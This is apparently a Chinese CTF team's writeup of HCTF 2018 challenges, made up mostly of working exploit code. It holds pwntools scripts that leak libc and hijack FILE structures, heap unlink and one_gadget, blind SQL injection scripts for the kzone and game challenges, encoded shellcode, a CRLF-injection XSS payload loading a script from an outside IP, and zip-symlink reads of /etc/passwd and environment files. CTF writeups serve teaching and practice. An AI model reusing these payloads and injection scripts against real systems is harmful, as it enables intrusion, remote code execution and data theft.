HCTF2018 Writeup -- Nu1L
veneno CTF 19108浏览 · 2018-11-12 23:53

HCTF 2018

[TOC]

比赛网址:https://hctf.io/#/
比赛时间:11月9日 20:00 - 11月11日 20:00
Team Page: http://nu1l-ctf.com/

PWN

the end

from pwn import *
#context.aslr = False
context.log_level = 'debug'

def pwn(p):
    p.recvuntil('here is a gift ')
    libc_base = int(p.recvuntil(',', drop=True), 16) - 0x0CC230
    stdout_vtable = libc_base + 0x3c56f8
    fake_io_jump = 0x3c3fb0 + libc_base
    remote_addr = libc_base + 0x3c4008
    one_gadget = libc_base + 0x4526a
    one_gadget = libc_base + 0xF02B0



    log.success('libc: {}'.format(hex(libc_base)))
    log.success('stdout_vtable: {}'.format(hex(stdout_vtable)))
    log.success('fake_io_jump: {}'.format(hex(fake_io_jump)))
    log.success('remote_addr: {}'.format(hex(remote_addr)))
    log.success('one_gadget: {}'.format(hex(one_gadget)))

    #0x3c5c58
    payload = p64(stdout_vtable)
    payload += p64(fake_io_jump)[0]
    payload += p64(stdout_vtable + 1)
    payload += p64(fake_io_jump)[1]


    payload += p64(remote_addr)
    payload += p64(one_gadget)[0]
    payload += p64(remote_addr + 1)
    payload += p64(one_gadget)[1]
    payload += p64(remote_addr + 2)
    payload += p64(one_gadget)[2]

    #gdb.attach(p)
    p.send(payload)
    p.interactive()

if __name__ == '__main__':
    p = remote('150.109.44.250', 20002)
    p.recvuntil('Input your token:')
    p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
    #p = process('./the_end')
    #p.interactive()
    pwn(p)

babyprintf_ver2

from pwn import *
context.log_level = 'debug'
context.aslr = False

def pwn(p):
    p.recvuntil('So I change the buffer location to ')
    program_base = int(p.recvuntil('\n', drop=True), 16) - 0x202010
    log.success('program_base: {}'.format(hex(program_base)))
    p.sendline('%a')
    p.recvuntil('0x0.0')
    libc_base = int(p.recvuntil('p', drop=True), 16) - 0x50e8
    log.success('libc_base: {}'.format(hex(libc_base)))
    p.sendline('%100000cb')
    p.recvuntil('b')
    malloc_hook = 0x3ebc30
    remote = libc_base + malloc_hook - 0x10
    payload = 'a'*0xf + '\x00'
    payload += p64(program_base + 0x202028)
    payload += p64(0x00000000fbad2887) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(remote) + p64(remote)
    payload += p64(remote + 0x20) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(1) + p64(0xffffffffffffffff)
    payload += p64(0) + p64(libc_base + 0x3ed8c0) # lock
    payload += p64(0xffffffffffffffff) + p64(0)
    payload += p64(libc_base + 0x3eb8c0) + p64(0) # _IO_wide_data_1
    payload += p64(0) + p64(0)
    payload += p64(0x00000000ffffffff) + p64(0)
    payload += p64(0) + p64(libc_base + 0x3e82a0) # vtable
    #gdb.attach(p)
    log.info('remote: {}'.format(hex(remote)))
    log.info('fake: {}'.format(hex(program_base + 0x202028)))
    p.sendline(payload)
    one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
    payload = 'a' + p64(one_gadget[1] + libc_base)
    p.sendline(payload)

    payload = 'a'*0xf + '\x00'
    payload += p64(program_base + 0x202028)
    payload += p64(0x00000000fbad2887) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(0) + p64(0)
    payload += p64(1) + p64(0xffffffffffffffff)
    payload += p64(0) + p64(libc_base + 0x3ed8c0) # lock
    payload += p64(0xffffffffffffffff) + p64(0)
    payload += p64(libc_base + 0x3eb8c0) + p64(0) # _IO_wide_data_1
    payload += p64(0) + p64(0)
    payload += p64(0x00000000ffffffff) + p64(0)
    payload += p64(0) + p64(libc_base + 0x3e82a0) # vtable
    p.sendline(payload)
    p.sendline('%100000c')

    #p.recvuntil('a'*0xf)


    p.interactive()


if __name__ == '__main__':
    #p = process('./babyprintf_ver2')
    p = remote('150.109.44.250', 20005)
    p.recvuntil('Input your token:')
    p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
    pwn(p)

easyexp

最后还是做出来了,然而比赛结束了

from pwn import *
context.aslr = False
context.log_level = 'debug'
def mkdir(p, filename):
    p.recvuntil('$')
    p.clean()
    p.sendline('mkdir ' + filename)

def mkfile(p, filename, data):
    p.recvuntil('$')
    p.clean()
    p.sendline('mkfile ' + filename)
    p.recvuntil('write something:')
    p.send(data)

def cat(p, filename):
    p.recvuntil('$')
    p.clean()
    p.sendline('cat ' + filename)

def trig_cve(p, buf):
    mkdir(p, '../../{}'.format(buf))

def pwn(p):
    libc = ELF('./libc-2.23.so')
    p.recvuntil('input your home\'s name: ')
    p.sendline('(unreachable)')
    mkfile(p, 'ccc', '/bin/sh\n')
    payload = '/'*0x87
    mkfile(p, '(unreachable)/tmp', payload + '\n')
    payload = 'z'*0x87
    mkfile(p, 'aaa', payload + '\n')
    payload = 'b\x90'
    trig_cve(p, payload)
    trig_cve(p, '')
    payload = p64(0) + p64(0x81)
    payload += p64(0x603180 - 0x18 + 0x60) + p64(0x603180 - 0x10 + 0x60)
    payload = payload.ljust(0x80, 'c')
    payload += p64(0x80)[:7]
    mkfile(p, '(unreachable)/tmp', payload)
    # unlink
    mkfile(p, '123', '\n')
    payload = '\x00'*0x18 + p64(0x603038) # puts
    payload += p32(0x87)[:3]
    mkfile(p, '(unreachable)/tmp', payload + '\n')
    cat(p, '(unreachable)/tmp')
    libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x6f690
    log.success('libc_base: {}'.format(hex(libc_base)))
    payload = p64(libc_base + 0x45390) # system
    mkfile(p, '(unreachable)/tmp', payload + '\n')
    cat(p, 'ccc')
    #gdb.attach(proc.pidof(p)[0])
    p.interactive()

if __name__ == '__main__':
    local = 0
    if local:
        p = process('./easyexp', env = {'LD_PRELOAD': './libc-2.23.so'})
    else:
        p = remote('150.109.44.250', 20004)
        p.recvuntil('token:')
        p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
    pwn(p)

christmas

#coding=utf8
from pwn import *

context.arch = 'amd64'

def make_guess_shellcode(n, ch):
    # flag > ch 死循环
    # 否则退出
    shellcode = '''
    mov rdx, 0x10700ee0
    xor rdx, 0x10101010
    mov rbx, [rdx] # 0x601ef0
    mov rbx, [rbx+0x8]
    mov rbx, [rbx+0x18]
    mov rbx, [rbx+0x18]
    mov rbx, [rbx+0x18]
    mov rbx, [rbx+0x18]
    mov rbx, [rbx+0x18]
    mov rbx, [rbx+0x18] # rbx = linkmap flag.so
    mov rdx, 0x10703020
    xor rdx, 0x10101010
    mov rcx, [rdx] # 0x602030
    mov rdx, 0x101d5030
    xor rdx, 0x10101010
    add rcx, rdx # 0xd4020 __libc_dlsym
    mov rdi, rbx
    /* push 'flag_yes_1337\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x373333315f
    xor [rsp], rax
    mov rax, 0x7365795f67616c66
    push rax
    mov rsi, rsp
    call rcx
    call rax
    '''
    payload = asm(shellcode)

    payload += asm('xor rbx, rbx')
    if n != 0:
        payload += asm('mov bl, {}'.format(n))
    payload += asm('''
    xor rcx, rcx
    add rax, rbx
    mov cl, byte ptr [rax]
    ''')

    payload += asm('''
    fuck:
    cmp cl, {}
    jg fuck
    '''.format(ch))
    return payload

def shellcoe_encode(shellcode):
    payload = asm('''
    push rax
    xor al, 0x33
    ''')
    p = remote('192.168.178.1', 24356)
    p.send(shellcode)
    payload += p.recvall()
    p.close()
    return payload
def guess(n, ch):
    # flag > ch ret true
    #p = process('./christmas-bak')
    p = remote('150.109.44.250', 20003)
    p.recvuntil('Input your token:')
    p.sendline('RVZhvB2OtdydtHAaHxdEeRcFzZlKIC9U')
    log.info('start')
    #p = process('./christmas')
    try:
        p.recvuntil('can you tell me how to find it??\n')
        p.clean()
        payload = make_guess_shellcode(n, ch)
        payload = payload.ljust(0x100 - 48, 'a')
        payload = shellcoe_encode(payload)
        #log.info(repr(payload))
        #gdb.attach(p)
        p.sendline(payload)
        #p.interactive()
        #exit()
        p.recvuntil('\n', timeout=1)
    except EOFError:
        p.close()
        return False
    p.close()
    return True
def pwn():
    # HCTF{dyn_15_4w350m3}
    flag = 'HCTF{'
    while True:
        l = 0
        r = 255
        idx = len(flag)
        while True:
            m = (l + r) / 2
            if m == l:
                m = r
                break
            ret = guess(idx, m)
            if ret:
                log.info('flag[{}] > {}({})'.format(idx, m, repr(chr(m))))
                l = m
            else:
                log.info('flag[{}] <= {}({})'.format(idx, m, repr(chr(m))))
                r = m
            log.success('flag: {}'.format(repr(flag)))
            #log.info('{} {} {}'.format(l, r, m))
        flag += chr(m)

def test1():
    p = process('./christmas')
    payload = payload = asm('''
    push rax
    xor al, 0x33
    ''')
    payload += 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2u0z4r3b4Z2Z122C2J4u382B0J2A2B0z3X2H125O2N7k0p4y2y2H124y2z2J2j5K2A2K2p4y2s2I0z5N2t2J165L002H083c5K2r0I0B0X0y4s3V0i2B0j2B124y1P1M4L400q0b0V2B084u4K2B0c2B0Y0x1K3t165K4k0z4M3c2F2J1l7p0x4s4z7p2H2C0s1M0J402Z4y5o8O4S8O4H0x0H8o7k125o0x0h3z3X083z8K2E0N3Y0U2x0P010P2L0U2M0U0Q0Q2p0Q130Q070S2C0Q0Y0U2t0U2J0S2C0Q120S2C0Q080Q2y0P2J0R2u0P0W0T2J0U2j0Q7K0U2L0R120S2G0S2K0P2m0V2q0Q2y0U2r0U7K0V2q0S2I0S2B0Q2r0P2L0Q2K0U0Q0S7k04'
    payload = payload.ljust(0xf00 - 48, 'a')
    payload += 'flag_yes_1337'
    p.recvuntil('can you tell me how to find it??\n')
    p.clean()
    gdb.attach(p)
    p.sendline(payload)
    p.interactive()

def test():
    s = make_guess_shellcode(0, ord('f') + 1) + 'a'*0x50
    log.info(repr(s))
    # fp = open('/home/pwn/Desktop/test.bin', 'wb')
    # fp.write(s)
    # fp.close()
    shellcoe_encode(s)

if __name__ == '__main__':
    #p = process('./christmas')
    pwn()
    #test()

https://github.com/SkyLined/alpha3 发现了这个东西,不过shellcode里面不能有\0
\0解决了
但是要求某个寄存器指向当前shellcode....
有rax
rax不行 要求是rax恰好指向当前shellcode

namespace shellcodeEncodeServer
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Server is running ... ");
            IPAddress ip = new IPAddress(new byte[] { 0, 0, 0, 0 });
            TcpListener listener = new TcpListener(ip, 24356);

            listener.Start();         
            Console.WriteLine("Start Listening ...");
            while (true)
            {

                TcpClient remoteClient = listener.AcceptTcpClient();
                Console.WriteLine("Client Connected!{0} <-- {1}",
                    remoteClient.Client.LocalEndPoint, remoteClient.Client.RemoteEndPoint);
                var s = remoteClient.GetStream();
                byte[] buf = new byte[4096];
                int readSize =  s.Read(buf, 0, 4096);
                write2File("D:\\Desktop\\test.bin", buf, readSize);
                Processor processor = new Processor();
                var encode = processor.GetEncodeCod();
                if(encode == null)
                {
                    s.Write(Encoding.Default.GetBytes("error"), 0, 5);
                    remoteClient.Close();
                    continue;
                }
                s.Write(Encoding.Default.GetBytes(encode), 0, encode.Length);
                remoteClient.Close();
            }
        }
        static private void write2File(string filePathName, byte[] bytes,int length)

        {
            if (File.Exists(filePathName))
            {
                File.Delete(filePathName);
            }
            FileStream stream = new FileStream(filePathName, FileMode.Create);
            stream.Write(bytes, 0, length);
            stream.Flush();
            stream.Close();
        }
    }
    class Processor
    {
        private Process p;
        private string encodeCode;
        public Processor()
        {
            p = new Process();
            p.StartInfo.FileName = "C:\\python27-x64\\python.exe";
            p.StartInfo.Arguments = "D:\\Desktop\\alpha3\\ALPHA3.py x64 ascii mixedcase rax --input=\"D:\\Desktop\\test.bin\"";
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardInput = true;
            p.StartInfo.RedirectStandardError = true;
            p.OutputDataReceived += new DataReceivedEventHandler((senders, e) =>
            {
                string getData = e.Data;
                if (String.IsNullOrEmpty(getData))
                {
                    return;
                }
                encodeCode = getData;
            });
            p.Start();
            p.BeginOutputReadLine();
            p.PriorityClass = ProcessPriorityClass.High;
        }
        public string GetEncodeCod()
        {
            int count = 0;
            while (String.IsNullOrEmpty(this.encodeCode))
            {
                Thread.Sleep(50);
                count++;
                if (count >= 40)
                {
                    break;
                }
            }
            return this.encodeCode;
        }
        ~Processor()
        {
            p.Close();
        }
    }
}

这个encode工具只能在windows下用,只能开个server让那边连过来再encode,很蠢(

Reverse

LuckyStar☆

一堆smc,一堆反调

用ce附上去终于dump下来内存了

base64变表加密加一个随机数的异或,还是通过ce去读栈上加密之后的信息然后还原出这个异或的表

>>> en = 'ywfHywfHywfHywfHywfHywfHywfHywfHywfHywe='
>>> de = '71 F6 5F C5 39 7E 24 5C A9 85 FE 2E 4A A1 AF FA B8 E2 D0 56 BE 5A 7A A7 AB C5 39 2E F5 CE 97 70 6D 7F E9 86 90 08 68 38'
>>> de = de.split(' ')
>>> de
['71', 'F6', '5F', 'C5', '39', '7E', '24', '5C', 'A9', '85', 'FE', '2E', '4A', 'A1', 'AF', 'FA', 'B8', 'E2', 'D0', '56', 'BE', '5A', '7A', 'A7', 'AB', 'C5', '39', '2E', 'F5', 'CE', '97', '70', '6D', '7F', 'E9', '86', '90', '08', '68', '38']
>>> de_1 = []
>>> de_1 = ''
>>> for i in de:
...     de_1 += chr(int(i,16))
...
>>> table = []
>>> for i in xrange(40):
...     table.append(ord(de_1[i])^ord(en[i]))
...
>>> table
[8, 129, 57, 141, 64, 9, 66, 20, 208, 242, 152, 102, 51, 214, 201, 178, 193, 149, 182, 30, 199, 45, 28, 239, 210, 178, 95, 102, 140, 185, 241, 56, 20, 8, 143, 206, 233, 127, 13, 5]
import ida_bytes

start = 0x403520
table = [8, 129, 57, 141, 64, 9, 66, 20, 208, 242, 152, 102, 51, 214, 201, 178, 193, 149, 182, 30, 199, 45, 28, 239, 210, 178, 95, 102, 140, 185, 241, 56, 20, 8, 143, 206, 233, 127, 13, 5]
res = ''
for i in xrange(32):
    res += chr(ida_bytes.get_byte(i+start) ^ table[i])
print res

然后直接解base64即可

#include "stdafx.h"

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char base64_table[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";

char* base64_encode(const char* data, size_t len)
{
    char *des = (char*)malloc(1 + 4 * len / 3);
    memset(des, 0, 1 + 4 * len / 3);
    size_t index = 0;
    size_t i;
    for (i = 0; i < len - 3; i += 3)
    {
        size_t index1 = data[i] >> 2; //first
        size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
        size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third
        size_t index4 = data[i + 2] % 64;
        des[index++] = base64_table[index1];
        des[index++] = base64_table[index2];
        des[index++] = base64_table[index3];
        des[index++] = base64_table[index4];
    }
    if (len - i == 1)
    {
        size_t index1 = data[i] >> 2;
        size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
        des[index++] = base64_table[index1];
        des[index++] = base64_table[index2];
        des[index++] = '=';
        des[index++] = '=';
    }
    else if (len - i == 2)
    {
        size_t index1 = data[i] >> 2;
        size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
        size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third
        des[index++] = base64_table[index1];
        des[index++] = base64_table[index2];
        des[index++] = base64_table[index3];
        des[index++] = '=';
    }
    else
    {
        size_t index1 = data[i] >> 2; //first
        size_t index2 = (data[i] % 4) * 16 + (data[i + 1] >> 4); //second
        size_t index3 = (data[i + 1] % 16) * 4 + (data[i + 2] >> 6); //third
        size_t index4 = data[i + 2] % 64;
        des[index++] = base64_table[index1];
        des[index++] = base64_table[index2];
        des[index++] = base64_table[index3];
        des[index++] = base64_table[index4];
    }
    des[index++] = 0;
    return des;
}

char* base64_decode(char *data)
{

    size_t index = 0;
    size_t len = strlen(data);
    char* des = (char*)malloc(1 + len * 3 / 4);
    memset(des, 0, 1 + len * 3 / 4);
    for (size_t i = 0; i < len; i += 4)
    {
        size_t index1 = strchr(base64_table, data[i]) - base64_table;
        size_t index2 = strchr(base64_table, data[i + 1]) - base64_table;
        size_t index3 = strchr(base64_table, data[i + 2]) - base64_table;
        size_t index4 = strchr(base64_table, data[i + 3]) - base64_table;
        des[index++] = ((index1 % 64) << 2) + ((index2 % 64) >> 4);
        des[index++] = ((index2 % 16) << 4) + ((index3 % 64) >> 2);
        des[index++] = ((index3 % 4) << 6) + (index4 % 64);
    }
    des[index] = 0;
    return des;
}


int main()
{
    char test[] = "Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==";
    char *de_test = base64_decode(test);
    printf("%s\n", de_test);
    system("pause");
    return 0;
}

Seven

经典迷宫题,调了kbdclass 直接读键盘

* * * * * * * * * * * * * * * *
o . . . . . . . . . . . . . . *
* * * * * * * * * * * * * * . *
* * * * * * * * * * * * . . . *
* * * * * * * * * * * . . * * *
* * * * * * * * * * . . * * * *
* * * * * * * * * . . * * * * *
* * * * * * * * . . * * * * * *
* * * * * * * . . * * * * * * *
* * * * * * . . * * * * * * * *
* * * * * . . * * * * * * * * *
* * * * . . * * * * * * * * * *
* * * * 7 * * * * * * * * * * *
* * * * * * * * * * * * * * * *

PolishDuck

一个bad usb的固件

http://invicsfate.cc/2018/04/13/HITBCTF2018-reverse-hex/

index_table=[320,332, 339, 354, 375, 395, 425, 456, 467, 491, 510, 606, 519, 540, 551, 582, 609, 624, 651, 664, 675, 689, 604, 698, 709, 720, 727, 754, 775, 784, 606, 807,
838, 988, 845, 868, 883, 911, 934, 947, 959, 976, 991, 1007, 1024, 1099, 1043, 1068, 1083, 1103, 1106, 1168, 1119, 1132, 1149, 1166, 1175, 1182, 1205, 1227,
 1093, 1093, 1238, 1101, 1101, 1172, 1253, 1103]

import ida_bytes,idaapi

def my_get_str(ea):
    #print(hex(ea))
    res = ''
    i = 0
    while True:
        tt = ida_bytes.get_byte(ea+i)
        if tt ==0 or tt & 0x80 != 0:
            break
        res += chr(tt)
        i += 1
    return res

guess_offest = [6480]

for offest in guess_offest:
    res = ''
    for i in index_table:
        res += my_get_str(i+offest)
        res += '\n'
    print(res+'\n')

感觉这个大概没问题了,都是可见字符。

notepad.exe
44646 64094 
71825 66562 15873 21793 7234 17649 43827 
2155 74767 35392 
88216 83920 16270 20151 5268 90693 
82773 716 27377 44329 49366 65217 
1653 38790 70247 97233 18347 22117 94686 
49428 72576 52460 47541 46975 53769 94005 
83065 72914 
5137 87544 40301 71583 20370 37968 17478 
55350 
40532 10089 
13332 70643 
24170 46845 16048 23142 31895 62386 12179 94552 79082 
19517 52918 91580 38900 89883 
38412 91537 70 98594 57553 35275 62912 4755 
16737 27595 21031 43551 64482 
3550 
*++-+*+
*++
-*+*++-+
-+++-+
-+
+*+
*+*
++-*++
+-+*+++
-
*+++-+*
+++-++-+-
*
++*++-+-*
+*++*+*++
*+*++
-*+
*++-*+
+
`

这堆东西有什么用吗。

题出错了,差评差评差评

notepad.exe
44646 
+ ( 64094 + ( 
71825 * ( ( 15873 + 
( 21793 * ( 7234 + 
( 17649 * ( ( 2155 + ( 74767 
* ( 35392 + ( 88216 * ( 83920 
+ ( 16270 
+ ( 20151 * ( 5268 + ( 
90693 * ( 82773 + 
( 716 + 
( 
27377 * ( 44329 + ( 
49366 * ( 
( ( 38790 + ( 70247 * ( 97233 
+ ( 18347 + ( 22117 * ( ( 
( 72576 + ( ( 
47541 + ( 46975 + ( 53769 
* ( 94005 + 
( ( 72914 
+ ( 5137 + ( 
87544 * 
( ( 
71583 + ( 
20370 + ( 
37968 
* ( 17478 + ( ( 40532 + ( 
10089 + ( 13332 * ( 
( 24170 
+ ( 46845 * ( 16048 + 
( 
23142 * ( 31895 + ( 62386 * ( 
12179 
+ 
( 94552 + ( ( ( 52918 
+ ( 91580 + ( 
( ( 38412 + ( 91537 * ( 70 
+ ( 98594 * ( ( 35275 
+ ( 62912 * 
( 4755 + ( 
16737 * ( 27595 
+ ( ( 43551 + 
( 64482 * 3550 
) ) - 21031 ) ) 
) ) ) ) - 57553 ) 
) ) ) 
) - 89883 ) - 38900 ) ) 
) - 19517 ) - 
79082 ) ) ) ) ) ) ) ) 
) 
- 70643 ) ) 
) ) - 
55350 ) ) ) 
) ) - 40301 ) ) 
) ) - 83065 ) ) 
) ) ) - 
52460 
) ) - 49428 ) - 94686 
) ) ) ) ) ) - 1653 ) 
- 65217 ) 
) ) ) ) ) ) 
) ) ) ) ) ) 
) ) - 43827 ) 
) ) 
) ) 
- 
66562 ) ) 
)
In [3]: s
Out[3]: '44646+(64094+(71825*((15873+(21793*(7234+(17649*((2155+(74767*(35392+(88216*(83920+(16270+(20151*(5268+(90693*(82773+(716+(27377*(44329+(49366*(((3
8790+(70247*(97233+(18347+(22117*(((72576+((47541+(46975+(53769*(94005+((72914+(5137+(87544*((71583+(20370+(37968*(17478+((40532+(10089+(13332*((24170+(4684
5*(16048+(23142*(31895+(62386*(12179+(94552+(((52918+(91580+(((38412+(91537*(70+(98594*((35275+(62912*(4755+(16737*(27595+((43551+(64482*3550))-21031))))))-
57553)))))-89883)-38900)))-19517)-79082)))))))))-70643))))-55350)))))-40301))))-83065)))))-52460))-49428)-94686))))))-1653)-65217)))))))))))))))-43827)))))-
66562)))'

In [4]: eval(s)
Out[4]: 245160825372454180181035013425094268426669928853472000168466067114757309065141074622457247656884957267064733565L

In [5]: hex(_)
Out[5]: '0x686374667b50306c3173685f4475636b5f5461737433735f44336c3163693075735f44305f555f5468316e6b3f7dL'

In [6]: '686374667b50306c3173685f4475636b5f5461737433735f44336c3163693075735f44305f555f5468316e6b3f7d'.decode('hex')
Out[6]: 'hctf{P0l1sh_Duck_Tast3s_D3l1ci0us_D0_U_Th1nk?}'

Web

kzone

#encoding:utf-8
import requests
import string
import base64

def catch(num,str):
    url="http://kzone.2018.hctf.io/admin/index.php"
    header={
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh,en-US;q=0.7,en;q=0.3',
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/41.0"
           ,"Cookie":'''PHPSESSID=f4e2rj8ofjp0r4k4s205drkj74;islogin=1; login_data={"admin_user":"admin'and((select(mi\\u0064(hex(group_concat(F1a9)),%d,1))from(F1444g))\\u003d'%s')\\u0023","admin_pass":true};'''%(num,str)
    }

    #data={"username":"admin'&&mid(password,%d,1)='%s'#" % (num,str),"password":"1"} 
    #strings="aaaaaaaa' or mid(username,1,1)='a' and '1"
    #print url
    #正常用法
    r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"})
    #用于burp调试
    #r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"})
    #print r.content
    res=r.headers
    #print "##################################"
    # found=False


    c_len = len(res)
    if c_len==9:
        return 1
    return 0



if __name__ == "__main__":
    #payloads = list(string.ascii_lowercase)

    #payloads.append("_;")
    payloads='0123456789abcdef'
    #payloads = list('sysadmin:0123456789_abcdefghijklmnopqrstuvwxyz ,ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
    user=''
    for i in range(1,500):
        for j in payloads:
            print j
            if catch(i,j)==1:
                user=user+j
                print "now %d user is %s" % (i,user)
                break
    #print catch(1,"5")

admin

view-source:http://admin.2018.hctf.io/change
有代码 https://github.com/woadsl1234/hctf_flask

if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

u型编码注册就行了

bottle

<script>
location.href='http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:200%0d%0a%0d%0a%3Cscript%20src%3dhttp://118.24.185.108/c.js?1541913080%3E%3C/script%3E';
</script>

hide and seek

user  nginx;
worker_processes auto;

error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;


events {
    worker_connections  1024;
}


http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    keepalive_timeout  65;

    #gzip  on;

    include /etc/nginx/conf.d/*.conf;
}
daemon off;

zip软连接读取文件

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
nginx:x:101:102:nginx user,,,:/nonexistent:/bin/false
messagebus:x:102:103::/var/run/dbus:/bin/false

目标 寻找到config.py
proc/self/environ

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=7d8beb1a9aa4
SHLVL=0
PYTHON_PIP_VERSION=18.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.6
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0    
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=0

/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py,伪造session就拿到flag了

Game | solved | working:

描述
crazy inject
URL http://game.2018.hctf.io

#encoding:utf-8
import requests
import string
import base64
import random

def catch(num,str1):
    a=0
    b=97
    while(a<=b):
        mid=(a+b)/2
        tmp =hex(mid)[2:]
        if len(tmp)==1:
            tmp="0"+tmp
        str2=str1+"%"+tmp
        print str2
        usernew = ''.join(random.sample(string.ascii_letters + string.digits, 13))
        url="http://game.2018.hctf.io/web2/action.php?action=reg"
        data = 'username=%s&password=%s&sex=1&submit=submit' %  (usernew,str2)
        headers={"Content-Type": "application/x-www-form-urlencoded"}
        #data={"username":"admin'&&mid(password,%d,1)='%s'#" % (num,str),"password":"1"} 
        #strings="aaaaaaaa' or mid(username,1,1)='a' and '1"
        #print url
        #正常用法
        r=requests.post(url,data=data,headers=headers,proxies={"http":"127.0.0.1:8080"})
        #print r.content
        #用于burp调试
        #r=requests.get(url,headers=header,proxies={"http":"127.0.0.1:8080"})
        #print r.content
        sss = requests.get('http://game.2018.hctf.io/web2/user.php?order=password',headers={"Cookie":"PHPSESSID=p9op1amllrobs6okqfkih2vr40"}).content
        index1= sss.index('<tr>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t1\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\tadmin')
        print usernew
        index2=sss.index(usernew)
        print index1
        print index2
        if index1 > index2:
            b =  mid -1
        else:
            a = mid +1
    tmp =hex(a-1)[2:]
    if len(tmp)==1:
        tmp="0"+tmp
    return "%"+tmp
    #print "##################################"
    # found=False




if __name__ == "__main__":
    #payloads = list(string.ascii_lowercase)

    #payloads.append("_;")
    payloads='!"#$%&\'()*+,-./:;<=>?@0123456789abcdefghijklmnopqrstuvwxyz[\\]^_`{|}~'
    #payloads = list('sysadmin:0123456789_abcdefghijklmnopqrstuvwxyz ,ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
    user='%44%53%41%38%26%26%21%40%23%24%25'
    for i in range(1,100):
        user = user+catch(i,user)
        print "now user is "+user
    #catch(5,"dsa8<")
hctf{this_idea_h1t_me_whil3

Crypto

xor game

猜测xor key长度,字频分析
length = 21
xor_is_interesting!@#

rsa?xor

